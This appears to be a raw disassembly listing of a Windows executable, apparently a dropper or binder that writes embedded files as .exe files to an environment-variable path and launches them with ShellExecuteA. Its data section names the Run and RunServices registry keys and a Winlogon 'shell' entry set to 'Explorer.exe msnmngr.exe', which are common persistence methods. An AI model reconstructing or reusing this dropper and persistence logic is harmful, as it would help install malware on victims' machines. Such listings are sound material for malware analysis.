mov eax, ds:dword_40023B1C
mov edx, eax
mov eax, offset dword_4001F94C
call sub_40004F74
mov eax, offset dword_4001F94C
call sub_40004DA0
mov edx, eax
mov eax, offset dword_4001F964
mov ecx, ds:dword_40023B1C
call sub_40002DFC
push ds:dword_40023B50
push ds:dword_40023B4C
push ds:dword_40023B58
push ds:dword_40023B54
lea edx, [ebp-28h]
mov eax, ds:dword_40023B1C
call sub_40016CE8
mov edx, [ebp-28h]
mov ecx, offset dword_4001F94C
mov eax, ds:dword_4001F94C
call sub_40006A2C
mov eax, offset dword_40023B64
xor ecx, ecx
mov edx, 4
call sub_40003580
xor eax, eax
mov ds:dword_40023B64, eax
mov esi, offset byte_4001F9A5
mov edi, offset dword_40023B24
mov dword ptr [ebp-14h], offset byte_4001FA13
mov ebx, offset off_4001F6E4
loc_4001964B: ; CODE XREF: .itext:40019AB2j
mov eax, offset dword_4001F958
xor ecx, ecx
mov edx, 4
call sub_40003580
cmp byte ptr [esi], 0
jz loc_40019A95
mov eax, [edi]
mov edx, eax
mov eax, offset dword_4001F950
call sub_40004F74
mov eax, offset dword_4001F950
call sub_40004DA0
mov edx, eax
mov ecx, [edi]
mov eax, esi
call sub_40002DFC
push ds:dword_40023B50
push ds:dword_40023B4C
push ds:dword_40023B58
push ds:dword_40023B54
mov ecx, offset dword_4001F950
mov edx, ds:dword_4001F94C
mov eax, ds:dword_4001F950
call sub_40006A2C
mov eax, offset dword_4001F954
mov edx, [ebp-14h]
mov ecx, 81h
call sub_40004AF4
push ds:dword_40023B50
push ds:dword_40023B4C
push ds:dword_40023B58
push ds:dword_40023B54
mov ecx, offset dword_4001F954
mov edx, ds:dword_4001F94C
mov eax, ds:dword_4001F954
call sub_40006A2C
xor eax, eax
mov ds:dword_4001F95C, eax
mov eax, ds:dword_4001F950
call sub_40004D48
mov edx, eax
mov eax, offset dword_4001F95C
call sub_40016F88
mov [ebx], eax
mov eax, offset dword_4001F958
mov edx, ds:dword_4001F95C
call sub_40004F74
cmp dword ptr [ebx], 0
jz loc_40019AB8
mov eax, ds:dword_4001F958
mov ds:dword_40023E48, eax
cmp ds:dword_40023E48, 0
jz short loc_4001974E
mov eax, ds:dword_40023E48
sub eax, 4
mov eax, [eax]
mov ds:dword_40023E48, eax
loc_4001974E: ; CODE XREF: .itext:4001973Dj
mov eax, offset dword_4001F958
call sub_40004DA0
mov edx, eax
mov eax, [ebx]
mov ecx, ds:dword_40023E48
call sub_40002DFC
push ds:dword_40023B50
push ds:dword_40023B4C
push ds:dword_40023B58
push ds:dword_40023B54
mov ecx, offset dword_4001F958
mov edx, ds:dword_4001F94C
mov eax, ds:dword_4001F958
call sub_40006A2C
lea edx, [ebp-2Ch]
mov eax, ds:dword_4001F958
call sub_40016D80
mov edx, [ebp-2Ch]
mov eax, offset dword_4001F958
call sub_400048D8
cmp ds:byte_40023B5D, 0
jz short loc_400197E0
mov eax, ds:dword_4001F958
push eax
lea eax, [ebp-34h]
push eax
call sub_40016B44
mov eax, [ebp-34h]
push eax
lea eax, [ebp-30h]
push eax
call sub_40016C04
mov edx, [ebp-30h]
mov eax, offset dword_4001F958
call sub_400048D8
loc_400197E0: ; CODE XREF: .itext:400197B5j
cmp ds:byte_40023B5C, 0
jz short loc_4001985D
mov eax, ds:dword_4001F958
test eax, eax
jz short loc_400197F7
sub eax, 4
mov eax, [eax]
loc_400197F7: ; CODE XREF: .itext:400197F0j
call sub_40002C20
mov ds:dword_4001F5C8, eax
mov eax, ds:dword_4001F958
mov ds:dword_40023E4C, eax
cmp ds:dword_40023E4C, 0
jz short loc_40019823
mov eax, ds:dword_40023E4C
sub eax, 4
mov eax, [eax]
mov ds:dword_40023E4C, eax
loc_40019823: ; CODE XREF: .itext:40019812j
mov eax, offset dword_4001F958
call sub_40004DA0
mov edx, ds:dword_4001F5C8
mov ecx, ds:dword_40023E4C
call sub_40002DFC
mov edx, ds:dword_4001F954
mov eax, ds:dword_4001F5C8
call sub_40017A1C
mov eax, ds:dword_4001F5C8
call sub_40002C3C
jmp loc_40019A95
; ---------------------------------------------------------------------------
loc_4001985D: ; CODE XREF: .itext:400197E7j
push offset dword_4001F5CC
lea eax, [ebp-38h]
mov edx, offset word_4001F9D2
mov ecx, 41h
call sub_40004AF4
mov eax, [ebp-38h]
push eax
mov eax, ds:dword_40023B14
mov ecx, eax
mov edx, 1
pop eax
call sub_40004DA8
push ds:dword_40023B50
push ds:dword_40023B4C
push ds:dword_40023B58
push ds:dword_40023B54
mov ecx, offset dword_4001F5CC
mov edx, ds:dword_4001F94C
mov eax, ds:dword_4001F5CC
call sub_40006A2C
mov ds:dword_4001F5D0, 104h
mov eax, ds:dword_4001F5D0
push eax
push offset dword_4001F5D4
mov eax, ds:dword_4001F5CC
call sub_40004D48
push eax
call sub_40006578 ; GetEnvironmentVariableA
mov ds:dword_4001F5D0, eax
cmp ds:dword_4001F5D0, 0
jle short loc_4001994D
mov eax, offset dword_4001F5CC
mov edx, ds:dword_4001F5D0
call sub_40004F74
mov eax, offset dword_4001F5CC
call sub_40004DA0
mov edx, eax
mov eax, offset dword_4001F5D4
mov ecx, ds:dword_4001F5D0
call sub_40002DFC
push ds:dword_4001F5CC
push offset dword_40019BE0
mov eax, 64h
call sub_40003080
lea edx, [ebp-3Ch]
call sub_40016CE8
push dword ptr [ebp-3Ch]
push offset dword_40019BEC
mov eax, offset dword_4001F5CC
mov edx, 4
call sub_40004C08
jmp short loc_400199A6
; ---------------------------------------------------------------------------
loc_4001994D: ; CODE XREF: .itext:400198E9j
mov eax, ds:dword_4001F5CC
test eax, eax
jz short loc_4001995B
sub eax, 4
mov eax, [eax]
loc_4001995B: ; CODE XREF: .itext:40019954j
mov edx, ds:dword_4001F5CC
cmp byte ptr [edx+eax-1], 5Ch
jz short loc_40019977
mov eax, offset dword_4001F5CC
mov edx, offset dword_40019BE0
call sub_40004B50
loc_40019977: ; CODE XREF: .itext:40019966j
push ds:dword_4001F5CC
mov eax, 64h
call sub_40003080
lea edx, [ebp-40h]
call sub_40016CE8
push dword ptr [ebp-40h]
push offset dword_40019BEC
mov eax, offset dword_4001F5CC
mov edx, 3
call sub_40004C08
loc_400199A6: ; CODE XREF: .itext:4001994Bj
xor eax, eax
mov ds:dword_4001F6E0, eax
lea eax, [ebp-44h]
mov edx, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
mov ecx, 105h
call sub_40004AF4
mov eax, [ebp-44h]
mov ecx, offset dword_4001F6E0
mov edx, offset dword_4001F6DC
call sub_40017D84
mov edx, ds:dword_4001F5CC
mov eax, offset dword_4001F6F8
call sub_40003328
mov edx, 1
mov eax, offset dword_4001F6F8
call sub_40003724
call sub_40002D5C
mov eax, ds:dword_4001F958
mov ds:dword_40023E50, eax
cmp ds:dword_40023E50, 0
jz short loc_40019A17
mov eax, ds:dword_40023E50
sub eax, 4
mov eax, [eax]
mov ds:dword_40023E50, eax
loc_40019A17: ; CODE XREF: .itext:40019A06j
push 0
mov eax, offset dword_4001F958
call sub_40004DA0
mov edx, eax
mov ecx, ds:dword_40023E50
mov eax, offset dword_4001F6F8
call sub_4000347C
call sub_40002D5C
cmp ds:dword_4001F6E0, 0
jbe short loc_40019A60
push 0
mov edx, ds:dword_4001F6DC
mov ecx, ds:dword_4001F6E0
mov eax, offset dword_4001F6F8
call sub_4000347C
call sub_40002D5C
loc_40019A60: ; CODE XREF: .itext:40019A41j
mov eax, offset dword_4001F6F8
call sub_4000349C
call sub_40002D5C
push 1
push 0
mov eax, ds:dword_4001F954
call sub_40004D48
push eax
mov eax, ds:dword_4001F5CC
call sub_40004D48
push eax
push offset aOpen ; "open"
push 0
call sub_40016CE0 ; ShellExecuteA
loc_40019A95: ; CODE XREF: .itext:4001965Fj
; .itext:40019858j
inc ds:dword_40023B64
add ebx, 4
add dword ptr [ebp-14h], 81h
add edi, 8
add esi, 5
cmp ds:dword_40023B64, 5
jnz loc_4001964B
loc_40019AB8: ; CODE XREF: .itext:400195A2j
; .itext:40019726j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40019ADA
loc_40019AC5: ; CODE XREF: .itext:40019AD8j
lea eax, [ebp-44h]
mov edx, 0Ch
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_40019AD3: ; DATA XREF: .itext:40019410o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40019AC5
; ---------------------------------------------------------------------------
loc_40019ADA: ; CODE XREF: .itext:40019AD2j
; DATA XREF: .itext:40019AC0o
pop edi
pop esi
pop ebx
call sub_40004790
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 0Ch
dword_40019AEC dd 6E736D5Ch, 72676E6Dh, 6578652Eh, 0dword_40019AFC dd 74737973h, 692E6D65h, 696EhaExplorer_exeMs db 'Explorer.exe msnmngr.exe',0 ; DATA XREF: .itext:4001947Fo
align 4
aShell db 'shell',0 ; DATA XREF: .itext:40019484o
align 4
aBoot db 'boot',0 ; DATA XREF: .itext:40019489o
align 4
dd 0FFFFFFFFh, 2Dh
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: .itext:400194BEo
align 4
dd 0FFFFFFFFh, 0Ch
dword_40019B74 dd 6E736D5Ch, 726E676Dh, 6578652Eh, 0 ; .itext:40019544o
dd 0FFFFFFFFh, 7
aMsnmgnr db 'msnmgnr',0 ; DATA XREF: .itext:400194F0o
; .itext:40019551o
dd 0FFFFFFFFh, 35h
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
; DATA XREF: .itext:4001951Fo
align 4
aStr db 'STR',0 ; DATA XREF: .itext:40019591o
dd 0FFFFFFFFh, 1
dword_40019BE0 dd 5Ch, 0FFFFFFFFh, 4 ; .itext:4001996Do
dword_40019BEC dd 6578652Eh, 0 ; .itext:40019992o
aOpen db 'open',0 ; DATA XREF: .itext:40019A89o
align 4
_itext ends
; Section 3. (virtual address 0001A000)
; Virtual size : 000010D8 ( 4312.)
; Section size in file : 000010D8 ( 4312.)
; Offset to raw data for section: 0001A000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 4001A000h
dword_4001A000 dd 0 ; sub_400046D4+2w ...
dword_4001A004 dd 0 ; sub_40004670+36r ...
dword_4001A008 dd 66B9069Bh ; sub_40003058+1Dw ...
byte_4001A00C db 2 ; DATA XREF: sub_40003644+4Er
; .itext:40019012w
db 8Dh, 40h, 0
off_4001A010 dd offset sub_4000E3EC ; DATA XREF: sub_400052FCr
; sub_400052FC+9r ...
off_4001A014 dd offset sub_400127B8 ; DATA XREF: .data:off_4001AEE4o
off_4001A018 dd offset sub_4000E700 ; DATA XREF: sub_4000540Cr
; sub_4000540C+9r ...
off_4001A01C dd offset sub_400116DC ; DATA XREF: .data:off_4001B0B4o
off_4001A020 dd offset sub_40011DFC ; DATA XREF: .data:off_4001B024o
word_4001A024 dw 1332h ; DATA XREF: sub_40003B94+6r
; sub_40003B94:loc_40003C0Cr ...
dw 0C08Bh
byte_4001A028 db 0 ; DATA XREF: sub_40003FE8r
; sub_40004004r ...
db 8Dh, 40h, 0
byte_4001A02C db 0 ; DATA XREF: sub_400040D8+52r
; sub_400040D8:loc_40004165r
db 8Dh, 40h, 0
byte_4001A030 db 0 ; DATA XREF: sub_40004704:loc_40004765r
db 8Dh, 40h, 0
byte_4001A034 db 1 ; DATA XREF: sub_40003328+23r
db 8Dh, 40h, 0
off_4001A038 dd offset dword_4001A7B4 ; DATA XREF: sub_40005C08+5r
; sub_40006184r ...
dword_4001A03C dd 0A24E60h ; sub_400060A4+18w ...
off_4001A040 dd offset aFastmmBorlandE ; DATA XREF: sub_40006350+3Co
; "FastMM Borland Edition © 2004, 2005 Pie"...
byte_4001A044 db 0, 0FFh ; DATA XREF: sub_40001734+21o
; sub_400023F4+11o ...
word_4001A046 dw 10h ; DATA XREF: sub_40002540+17Bo
; sub_400029B8+6o
dd 0A24CE0h, 0A24EE0h, 0A2C000h, 2 dup(0A24CE0h), 73300B30h
off_4001A060 dd offset sub_4000134C ; DATA XREF: sub_400029FC+8o
dd 18FF00h, 0A2C010h, 0A2C408h, 0A33328h, 2 dup(0A2C010h)
dd 73300B30h
dd offset sub_40001360
dd 20FF00h, 0A3A670h, 0A3AAB0h, 0A41980h, 2 dup(0A3A670h)
dd 73300B30h
dd offset sub_40001380
dd 28FF00h, 0A419A0h, 0A41D58h, 0A48CA8h, 2 dup(0A419A0h)
dd 73300B30h
dd offset sub_400013AC
dd 30FF00h, 0A48CD0h, 0A48E10h, 0A4FFD0h, 2 dup(0A48CD0h)
dd 73300B30h
dd offset sub_400013CC
dd 38FF00h, 4001A0E4h, 0A33408h, 0A3A638h, 0A33340h, 4001A0E4h
dd 73300B30h
dd offset sub_400013F0
dd 40FF00h, 4001A104h, 9920F0h, 0
dd 992090h, 4001A104h, 73300B30h
dd offset sub_4000141C
dd 48FF00h, 4001A124h, 0A1DAA8h, 0A24C98h, 0A1D9B0h, 4001A124h
dd 73300B30h
dd offset sub_4000144C
dd 50FF00h, 0A16680h, 0A16740h, 0A1D960h, 2 dup(0A16680h)
dd 73300B30h, 40001484h, 58FF00h, 4001A164h, 9E2690h, 0
dword_4001A174 dd 9E0AF0h, 4001A164h, 73300B30h, 40001484h, 60FF00h, 4001A184h
dd 0A0F490h, 0A16620h, 0A0F350h, 4001A184h, 73300B30h
dd 40001484h, 68FF00h, 4001A1A4h, 1, 2 dup(0)
dd offset dword_4001A174+30h
dword_4001A1BC dd 73300B30h, 40001484h, 70FF00h, 4001A1C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A1D8o
dd offset dword_4001A1BC+8
dword_4001A1DC dd 73300B30h, 40001484h, 78FF00h, 4001A1E4h, 1, 2 dup(0)
; DATA XREF: .data:4001A1F8o
dd offset dword_4001A1DC+8
dword_4001A1FC dd 73300B30h, 40001484h, 80FF00h, 4001A204h, 1, 2 dup(0)
; DATA XREF: .data:4001A218o
dd offset dword_4001A1FC+8
dword_4001A21C dd 73300B30h, 40001484h, 88FF00h, 4001A224h, 1, 2 dup(0)
; DATA XREF: .data:4001A238o
dd offset dword_4001A21C+8
dword_4001A23C dd 73300B30h, 40001484h, 90FF00h, 4001A244h, 1, 2 dup(0)
; DATA XREF: .data:4001A258o
dd offset dword_4001A23C+8
dword_4001A25C dd 73300B30h, 40001484h, 98FF00h, 4001A264h, 1, 2 dup(0)
; DATA XREF: .data:4001A278o
dd offset dword_4001A25C+8
dd 73300B30h, 40001484h, 0A0FF00h, 4001A284h, 999480h
dd 0
dword_4001A294 dd 9993C0h, 4001A284h, 73300B30h, 40001484h, 0B0FF00h
dd 4001A2A4h, 1, 2 dup(0)
dd offset dword_4001A294+10h
dword_4001A2BC dd 73300B30h, 40001484h, 0C0FF00h, 4001A2C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A2D8o
dd offset dword_4001A2BC+8
dword_4001A2DC dd 73300B30h, 40001484h, 0D0FF00h, 4001A2E4h, 1, 2 dup(0)
; DATA XREF: .data:4001A2F8o
dd offset dword_4001A2DC+8
dword_4001A2FC dd 73300B30h, 40001484h, 0E0FF00h, 4001A304h, 1, 2 dup(0)
; DATA XREF: .data:4001A318o
dd offset dword_4001A2FC+8
dword_4001A31C dd 73300B30h, 40001484h, 0F0FF00h, 4001A324h, 1, 2 dup(0)
; DATA XREF: .data:4001A338o
dd offset dword_4001A31C+8
dword_4001A33C dd 73300B30h, 40001484h, 100FF00h, 4001A344h, 1, 2 dup(0)
; DATA XREF: .data:4001A358o
dd offset dword_4001A33C+8
dword_4001A35C dd 73300B30h, 40001484h, 110FF00h, 4001A364h, 1, 2 dup(0)
; DATA XREF: .data:4001A378o
dd offset dword_4001A35C+8
dword_4001A37C dd 73300B30h, 40001484h, 120FF00h, 4001A384h, 1, 2 dup(0)
; DATA XREF: .data:4001A398o
dd offset dword_4001A37C+8
dword_4001A39C dd 73300B30h, 40001484h, 130FF00h, 4001A3A4h, 1, 2 dup(0)
; DATA XREF: .data:4001A3B8o
dd offset dword_4001A39C+8
dword_4001A3BC dd 72300B30h, 40001484h, 140FF00h, 4001A3C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A3D8o
dd offset dword_4001A3BC+8
dd 73300B30h, 40001484h, 160FF00h, 4001A3E4h, 992210h
dd 0
dd 992090h, 4001A3E4h, 73300B30h, 40001484h, 180FF00h
dd 4001A404h, 997160h, 0
dword_4001A414 dd 996FC0h, 4001A404h, 72300B30h, 40001484h, 1A0FF00h
dd 4001A424h, 1, 2 dup(0)
dd offset dword_4001A414+10h
dword_4001A43C dd 72300B30h, 40001484h, 1C0FF00h, 4001A444h, 1, 2 dup(0)
; DATA XREF: .data:4001A458o
dd offset dword_4001A43C+8
dword_4001A45C dd 72300B30h, 40001484h, 1E0FF00h, 4001A464h, 1, 2 dup(0)
; DATA XREF: .data:4001A478o
dd offset dword_4001A45C+8
dword_4001A47C dd 73300B30h, 40001484h, 210FF00h, 4001A484h, 1, 2 dup(0)
; DATA XREF: .data:4001A498o
dd offset dword_4001A47C+8
dword_4001A49C dd 72300B30h, 40001484h, 240FE00h, 4001A4A4h, 1, 2 dup(0)
; DATA XREF: .data:4001A4B8o
dd offset dword_4001A49C+8
dword_4001A4BC dd 73302B30h, 40001484h, 270FE00h, 4001A4C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A4D8o
dd offset dword_4001A4BC+8
dword_4001A4DC dd 75302B30h, 40001484h, 2A0FE00h, 4001A4E4h, 1, 2 dup(0)
; DATA XREF: .data:4001A4F8o
dd offset dword_4001A4DC+8
dd 7E302B30h, 40001484h, 2E0FE00h, 4001A504h, 9996C0h
dd 0
dword_4001A514 dd 9993C0h, 4001A504h, 8A302B30h, 40001484h, 320FE00h
dd 4001A524h, 1, 2 dup(0)
dd offset dword_4001A514+10h
dword_4001A53C dd 96302B30h, 40001484h, 370FE00h, 4001A544h, 1, 2 dup(0)
; DATA XREF: .data:4001A558o
dd offset dword_4001A53C+8
dword_4001A55C dd 0A5302B30h, 40001484h, 3C0FE00h, 4001A564h, 1, 2 dup(0)
; DATA XREF: .data:4001A578o
dd offset dword_4001A55C+8
dword_4001A57C dd 0B4302B30h, 40001484h, 420FE00h, 4001A584h, 1, 2 dup(0)
; DATA XREF: .data:4001A598o
dd offset dword_4001A57C+8
dword_4001A59C dd 0C6302B30h, 40001484h, 480FE00h, 4001A5A4h, 1, 2 dup(0)
; DATA XREF: .data:4001A5B8o
dd offset dword_4001A59C+8
dword_4001A5BC dd 0D8302B30h, 40001484h, 4F0FC00h, 4001A5C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A5D8o
dd offset dword_4001A5BC+8
dword_4001A5DC dd 0ED304B30h, 40001484h, 560FC00h, 4001A5E4h, 1, 2 dup(0)
; DATA XREF: .data:4001A5F8o
dd offset dword_4001A5DC+8
dd 0FD304B30h, 40001484h, 5E0FC00h, 4001A604h, 992690h
dd 0
dword_4001A614 dd 992090h, 4001A604h, 0FD304B30h, 40001484h, 670FC00h
dd 4001A624h, 1, 2 dup(0)
dd offset dword_4001A614+10h
dword_4001A63C dd 0FB304B30h, 40001484h, 710FC00h, 4001A644h, 1, 2 dup(0)
; DATA XREF: .data:4001A658o
dd offset dword_4001A63C+8
dword_4001A65C dd 0FF304B30h, 40001484h, 7C0F800h, 4001A664h, 1, 2 dup(0)
; DATA XREF: .data:4001A678o
dd offset dword_4001A65C+8
dword_4001A67C dd 0F8306B30h, 40001484h, 880F800h, 4001A684h, 1, 2 dup(0)
; DATA XREF: .data:4001A698o
dd offset dword_4001A67C+8
dword_4001A69C dd 0FF306B30h, 40001484h, 950F800h, 4001A6A4h, 1, 2 dup(0)
; DATA XREF: .data:4001A6B8o
dd offset dword_4001A69C+8
dword_4001A6BC dd 0FC306B30h, 40001484h, 0A30F000h, 4001A6C4h, 1, 2 dup(0)
; DATA XREF: .data:4001A6D8o
dd offset dword_4001A6BC+8
dword_4001A6DC dd 0FF308B30h, 40001484h, 0A30F000h, 4001A6E4h, 1, 2 dup(0)
; DATA XREF: .data:4001A6F8o
dd offset dword_4001A6DC+8
dword_4001A6FC dd 0FF308B30h, 40001484h, 0A30F000h, 4001A704h, 1, 2 dup(0)
; DATA XREF: .data:4001A718o
dd offset dword_4001A6FC+8
dd 0FF308B30h, 40001484h
off_4001A724 dd offset sub_40001734 ; DATA XREF: sub_40002C20+4r
; sub_40002C54+3Fr
off_4001A728 dd offset sub_40001A9C ; DATA XREF: sub_40002C3C+4r
; sub_40002C54+26r ...
off_4001A72C dd offset sub_40001C7C ; DATA XREF: sub_40002C54+Dr
off_4001A730 dd offset sub_40002004 ; DATA XREF: .text:40002C0Cr
dd offset sub_4000235C
dd offset sub_4000239C
byte_4001A73C db 0 ; DATA XREF: sub_40002D04+35r
aRsu db 'ËÌÈÉ×ÏÈÍÎÛØÚÙÊÜÝÞßàáã',0
aFxn@ db 'äå@',0
dword_4001A758 dd 3 align 10h
dd 1, 2, 3, 3 dup(0)
aError db 'Error',0 ; DATA XREF: sub_40004704+6Co
dw 0C08Bh
aRuntimeErrorAt db 'Runtime error at 00000000',0 ; DATA XREF: sub_40004670+3o
; sub_40004704+32o ...
dw 0C08Bh
byte_4001A7A0 db 30h ; DATA XREF: sub_40004670+41r
db 31h, 32h, 33h
dd 37363534h, 42413938h, 46454443h
TlsIndex dd 0 ; DATA XREF: sub_400063E4+Cr
; sub_400063E4+37r ...
dword_4001A7B4 dd 0 ; sub_40006474+33o ...
dword_4001A7B8 dd 40000000h dword_4001A7BC dd 0 dword_4001A7C0 dd 0 dd 40000000h, 0
dword_4001A7CC dd 4 dup(0) ; .data:off_4001AFA8o
dword_4001A7DC dd 0 dword_4001A7E0 dd 0 dword_4001A7E4 dd 2 ; sub_4000B830+32r ...
dword_4001A7E8 dd 5 ; sub_4000BDA0+5Br
dword_4001A7EC dd 1 dword_4001A7F0 dd 0A28h ; sub_4000B830+4Fw
dword_4001A7F4 dd 0A3A838h ; sub_4000CC50+4Fo
word_4001A7F8 dw 32h ; DATA XREF: sub_4000A1CC+1ADr
; sub_4000A1CC+1C9r
dw 0C08Bh
dword_4001A7FC dd 1C001Fh, 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh), 1D001Fh
; DATA XREF: sub_40009050+24o
; sub_4000911C+FCo
dd 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh)
dword_4001A82C dd 0 ; sub_400096A8+33Br ...
dd 7 dup(0)
off_4001A84C dd offset dword_40007828 ; DATA XREF: sub_4000CC50+128o
; sub_400190AC+37o ...
dword_4001A850 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4000C4D8:loc_4000C4F9r ...
off_4001A854 dd offset dword_40007FCC ; DATA XREF: sub_40007FDC+3Br
; sub_4000CC50+132o
dd offset dword_40007FCC+0Ch
off_4001A85C dd offset off_40006BD8 ; DATA XREF: sub_4000828C+43r
; .text:4000CC44o
off_4001A860 dd offset off_40006BE0 ; DATA XREF: .text:4000CC38o
tbyte_4001A864 dt 1.0e18 ; DATA XREF: sub_40008B01+63r
dw 0C08Bh
flt_4001A870 db 0Ah, 0, 0, 0 ; DATA XREF: sub_400087BC+23r
; sub_40008B01+78r ...
word_4001A874 dw 133Fh ; DATA XREF: sub_40008D00+25r
dw 0C08Bh
flt_4001A878 dd 8.64e7 ; DATA XREF: sub_40008F04+Br
dword_4001A87C dd 5265C00h ; sub_40008F04:loc_40008F33r
dword_4001A880 dd 642A2E25h off_4001A884 dd offset off_40006CB0 ; DATA XREF: sub_4000A91C+3Ao
; .text:4000CC2Co
off_4001A888 dd offset off_40006CB8 ; DATA XREF: .text:4000CC20o
off_4001A88C dd offset off_40006CC0 ; DATA XREF: .text:4000CC14o
off_4001A890 dd offset off_40006CC8 ; DATA XREF: .text:4000CC08o
off_4001A894 dd offset off_40006CD0 ; DATA XREF: .text:4000CBFCo
off_4001A898 dd offset off_40006CD8 ; DATA XREF: .text:4000CBF0o
off_4001A89C dd offset off_40006CE0 ; DATA XREF: .text:4000CBE4o
off_4001A8A0 dd offset off_40006CE8 ; DATA XREF: .text:4000CBD8o
off_4001A8A4 dd offset off_40006CF0 ; DATA XREF: .text:4000CBCCo
off_4001A8A8 dd offset off_40006CF8 ; DATA XREF: .text:4000CBC0o
off_4001A8AC dd offset off_40006D00 ; DATA XREF: .text:4000CBB4o
off_4001A8B0 dd offset off_40006D08 ; DATA XREF: .text:4000CBA8o
off_4001A8B4 dd offset off_40006D10 ; DATA XREF: sub_4000A91C+5Do
; .text:4000CB9Co
off_4001A8B8 dd offset off_40006D18 ; DATA XREF: .text:4000CB90o
off_4001A8BC dd offset off_40006D20 ; DATA XREF: .text:4000CB84o
off_4001A8C0 dd offset off_40006D28 ; DATA XREF: .text:4000CB78o
off_4001A8C4 dd offset off_40006D30 ; DATA XREF: .text:4000CB6Co
off_4001A8C8 dd offset off_40006D38 ; DATA XREF: .text:4000CB60o
off_4001A8CC dd offset off_40006D40 ; DATA XREF: .text:4000CB54o
off_4001A8D0 dd offset off_40006D48 ; DATA XREF: .text:4000CB48o
off_4001A8D4 dd offset off_40006D50 ; DATA XREF: .text:4000CB3Co
off_4001A8D8 dd offset off_40006D58 ; DATA XREF: .text:4000CB30o
off_4001A8DC dd offset off_40006D60 ; DATA XREF: .text:4000CB24o
off_4001A8E0 dd offset off_40006D68 ; DATA XREF: .text:4000CB18o
off_4001A8E4 dd offset off_40006D70 ; DATA XREF: sub_4000A91C+A9o
; .text:4000CB0Co
off_4001A8E8 dd offset off_40006D78 ; DATA XREF: .text:4000CB00o
off_4001A8EC dd offset off_40006D80 ; DATA XREF: .text:4000CAF4o
off_4001A8F0 dd offset off_40006D88 ; DATA XREF: .text:4000CAE8o
off_4001A8F4 dd offset off_40006D90 ; DATA XREF: .text:4000CADCo
off_4001A8F8 dd offset off_40006D98 ; DATA XREF: .text:4000CAD0o
off_4001A8FC dd offset off_40006DA0 ; DATA XREF: .text:4000CAC4o
off_4001A900 dd offset off_40006DA8 ; DATA XREF: sub_4000A91C+CEo
; .text:4000CAB8o
off_4001A904 dd offset off_40006DB0 ; DATA XREF: .text:4000CAACo
off_4001A908 dd offset off_40006DB8 ; DATA XREF: .text:4000CAA0o
off_4001A90C dd offset off_40006DC0 ; DATA XREF: .text:4000CA94o
off_4001A910 dd offset off_40006DC8 ; DATA XREF: .text:4000CA88o
off_4001A914 dd offset off_40006DD0 ; DATA XREF: .text:4000CA7Co
off_4001A918 dd offset off_40006DD8 ; DATA XREF: .text:4000CA70o
dword_4001A91C dd 2 ; sub_4000CC50+147o
dword_4001A920 dd 0A3A7F8h ; .text:4000CA64o
dd 3
dword_4001A928 dd 0A3A7D8h, 4 dword_4001A930 dd 0A3A7B8h, 5 dword_4001A938 dd 0A3A798h dword_4001A93C dd 64h ; sub_4000B470+Dr ...
dword_4001A940 dd 0A41B08h, 65hdword_4001A948 dd 0A2C038h, 6Ahdword_4001A950 dd 0A41AE0h off_4001A954 dd offset dword_400070B4 ; DATA XREF: sub_4000CC50+15Co
dword_4001A958 dd 0A3A778h dd offset dword_4000710C
dword_4001A960 dd 0A3A758h dd offset dword_40007164
dword_4001A968 dd 0A3A738h dd offset dword_40007218
dword_4001A970 dd 0A48DB8h dd offset dword_40007270
dword_4001A978 dd 0A48D88h dd offset dword_400072C8
dword_4001A980 dd 0A41AB8h dd offset dword_40007320
dword_4001A988 dd 0A41A90h dd offset dword_400073D4
dword_4001A990 dd 0A41A68h dd offset dword_4000748C
dword_4001A998 dd 0A3A718h dd offset dword_400074EC
dword_4001A9A0 dd 0A41A40h dd offset dword_400075A0
dword_4001A9A8 dd 0A3A6F8h dd offset dword_40007544
dword_4001A9B0 dd 0A3A6D8h dd offset dword_400075F8
dword_4001A9B8 dd 0A48D58h dd offset dword_400075F8
dword_4001A9C0 dd 0A41A18h dd offset dword_400075F8
dword_4001A9C8 dd 0A48D28h dd offset dword_400075F8
dword_4001A9D0 dd 0A333A0h dd offset dword_400075F8
dword_4001A9D8 dd 0A3A6B8h dd offset dword_400075F8
dword_4001A9E0 dd 0A33368h dd offset dword_40007654
dword_4001A9E8 dd 0A3A698h dd offset dword_40006FFC
dword_4001A9F0 dd 0A419F0h dd offset dword_40007710
dword_4001A9F8 dd 0A419C8h dd offset dword_400077C4
dword_4001AA00 dd 0A48CF8h dword_4001AA04 dd 0 dword_4001AA08 dd 80070057h ; sub_4000CEB8+3Dr ...
align 10h
byte_4001AA10 db 1 ; DATA XREF: sub_4000E9CC+9Fr
; sub_4000ED90:loc_4000EE21r ...
db 8Dh, 40h, 0
dword_4001AA14 dd 0 ; sub_40011DFC+B1r ...
byte_4001AA18 db 0 ; DATA XREF: sub_4001145C+43r
db 8Dh, 40h, 0
dword_4001AA1C dd 0FFFFFFFFh ; sub_40012C6C+3Er ...
off_4001AA20 dd offset aEmpty ; DATA XREF: sub_4001293C+38r
; sub_40012E54+3Co
; "Empty"
dd offset dword_400127EC+8
dd offset dword_400127FC+8
dd offset dword_40012810+8
dd offset dword_40012810+18h
dd offset dword_40012810+28h
dd offset dword_40012810+38h
dd offset dword_40012854+8
dd offset dword_40012864+8
dd offset dword_40012864+18h
dd offset dword_40012888+8
dd offset dword_40012888+18h
dd offset dword_40012888+28h
dd offset dword_40012888+38h
dd offset dword_40012888+48h
dd offset dword_40012888+58h
dd offset dword_40012888+64h
dd offset dword_400128F8+8
dd offset dword_40012908+8
dd offset dword_40012918+8
dd offset dword_4001292C+8
